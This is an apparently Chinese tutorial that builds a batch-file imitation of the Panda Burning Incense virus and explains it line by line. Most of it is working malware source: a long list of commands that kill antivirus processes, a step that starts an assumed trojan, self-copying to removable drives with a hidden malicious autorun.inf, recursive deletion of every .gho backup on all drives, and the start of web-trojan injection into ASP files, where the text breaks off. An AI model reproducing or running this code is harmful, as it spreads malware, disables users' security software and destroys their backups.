批处理版熊猫烧香怎么写?

      前几年,网络上熊猫烧香病毒很猖獗,搞得网络上沸沸扬扬,专杀工具一搜一大堆。转回正题,笔者最近对批处理颇感兴趣,联想到熊猫烧香病毒这么火,于是趁火打劫一把,找了下熊猫烧香病毒的特征,也仿了个熊猫烧香病毒的半成品出来,但是是由批处理制作的喔。
        熊猫烧香病毒的特征是启动病毒程序复制自身到system32\drivers\目录;修改注册表实现不显示隐藏文件;修改注册表启动项实现开机自启动;中止安全软件进程;删除安全软件的注册表启动项;删除安全软件的服务;向可移动磁盘复制病毒;在ASP、aspX、HTM和HMTL文件中插入网页木马代码;感染所有非系统文件的EXE等可执行文件;删除所有GHO备份文件。一句话,很强,集合了很多病毒木马的特征!
        针对上面提到的这些特征,我这里用批处理来模拟,只有“感染EXE等可执行文件”没能实现,其他都能实现。代码如下,我将作详细讲解。如果你还不会批处理,那么通过本文,你将对批处理有一个了解与认识!本文涉及范围广,不过我会描述尽量简单化,令大家印象深刻。
        
        REM 关注回显
        //REM为注释语句,本批处理中用来对代码做概括性的区分用途。各个具体讲解请见注释部分,批处理时执行时应当去掉这些。
        @echo off
        REM 中止系统中众多安全软件的进程
        tskill Mcshield.exe & tskill VsTskMgr.exe & tskill naPrdMgr.exe & tskill UpdaterUI.exe & tskill TBMon.exe & tskill scan32.exe & tskill Ravmond.exe & tskill CCenter.exe & tskill RavTask.exe & tskill Rav.exe & tskill Ravmon.exe & tskill RavmonD.exe & tskill RavStub.exe & tskill KVXP.kxp & tskill kvMonXP.kxp & tskill KVCenter.kxp & tskill KVSrvXP.exe & tskill KRegEx.exe & tskill UIHost.exe & tskill TrojDie.kxp & tskill FrogAgent.exe & tskill Logo1_.exe & tskill Logo_1.exe & tskill Rundl132.exe
        //tskill是结束进程的命令,&是一个组合命令,顺序执行,不管前面是否失败。
        REM 启动木马程序
        start /b %systemroot%\system32\Sysdrv.com
        //start是打开文件,这里的sysdrv.com假定是一款木马。%systemroot%是个环境变量,默认是系统盘符下的Windows目录
        REM 遍历所有驱动器寻找可移动磁盘
        for %%i in (c d e f g h i j k l m n o p q r s t u v w x y z) do @fsutil fsinfo drivetype %%i:>>%systemroot%\temp.txt
        //for是个循环语句,它属于批处理中的一个难点。FsutilFsutil是可用于执行多种与FAT和NTFS文件系统相关的任务,这里加上fsinfo是列出所有驱动器的信息,再加上drivetype就是查询一个驱动器的驱动器类型。%%i是一个变量,这里分别将c、d、e至z的各个驱动器赋值给这个%%i的变量,然后用fsutil查询出驱动器的类型。最后的>>是输出重定向命令,>是将内容输出至一个文件,>>是在一个文件后紧跟信息,两个符号都可创建文件。简单来区别,>是替换原内容,>>是追加新内容。
        findstr /i "可移动驱动器" %systemroot%\temp.txt
        //findstr是查找字符串的一个命令,用于从刚才被输入的temp.txt文件中查询以“可移动驱动器”为关键字的内容。这里的/i不是上面的驱动器变量,而是不区分大小写用的参数。
        if errorlevel==1 goto next
        //if errorlevel==1表示如果出错则执行的命令,后面跟着goto跳转语句,会跳转到以:next为行号的地方继续。这里如果出错就代表上面for循环结果下来没发现一个带有“可移动驱动器”的盘符
        if errorlevel==0 goto cop
        :cop
        for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" %systemroot%\temp.txt') do @set yidong=%%i
        //for中的tokens简单说是把kokens当作分列,这里就是分一列的意思,具体说明可以看for /?的帮助。这句代码中的单引号必须注意,加了单引号才表示in里面的是语句。Do后面跟着要执行的语句,这里set是个赋值语句,将变量%%i赋值为环境变量yidong,例如检测出你的F盘是可移动磁盘(后同),从此处起yidong就代表为f:了。
        REM 向可移动磁盘内复制病毒
        copy bat.exe %yidong%\ /y
        //注意yidong由于已经是个环境变量了,以后应用都需要用成对的%%括起来。/y参数表示不提示确认。
        copy Sysdrv.com %yidong%\ /y
        attrib +s +h %yidong%\Sysdrv.com
        attrib +s +h %yidong%\bat.exe
        if exist %yidong%\autorun.inf (
        //这句表示如果已存在f:\autorun.inf,则执行()内的内容,否则跳出()执行后面的内容。
        attrib -a -s -h %yidong%\autorun.inf
        //对属性进行操作,由于某些人为防止可移动磁盘感染autorun.inf类的病毒,都会先新建一个空白文件加上只读、系统、隐身属性。这里遇到它就会被去掉属性后删除。当然,前面说了,如果你没这么防御则跳过此步。
        del %yidong%\autorun.inf
        )
        echo [AutoRun]>%yidong%\Autorun.inf
        //echo是输出的命令,加上>重定向命令就是被输出到文件了。作用在于往移动磁盘里建有内容的文件。这句起后面的echo都是这个意思,后面将不作解释,只对echo后内容作解释。
        echo shell\open\command=bat.exe>>%yidong%\Autorun.inf
        echo shell\open=打开(^&O)>>%yidong%\Autorun.inf
        //这里将打开作为右键显示的字,作用就在于感染后右键去打开可移动磁盘照样中毒。(所以说有些人说不怕可移动磁盘中毒,用右键来点打开就能进去了,这是错误的,比如遇上这个autorun.inf,你右键点打开、点资源管理器都会触发我设的病毒)
        echo shell\explore=资源管理器(^&X)>>%yidong%\Autorun.inf
        //^符号是转义字符,表示让后面的&符号失去原有的连接命令的意义。这里加&是加粗显示的用途。
        echo shell\explore\command=bat.exe>>%yidong%\Autorun.inf
        attrib +s +h %yidong%\Autorun.inf
        del %systemroot%\temp.txt /q /f
        //删除刚才用于存放磁盘信息的临时文件
        :next
        REM 循环遍历磁盘,自动删除*.gho文件
        for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
        if exist %%a:\nul (
        for /f "tokens=*" %%b in ('dir /s/b/a-d %%a:\*.gho') do del "%%b" /q /f
        ))
        //这里是对各个磁盘的*.gho文件进行查询,发现有就删除。比较恶意,仅做学习,勿搞破坏!
        REM 循环遍历磁盘,自动对ASP、aspX插入网页木马代码
        for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
        if exist %%a:\nul (
        for /f "tokens=*" %%b in ('dir /s/b/a-d %%a:\*.asp') do (echo ^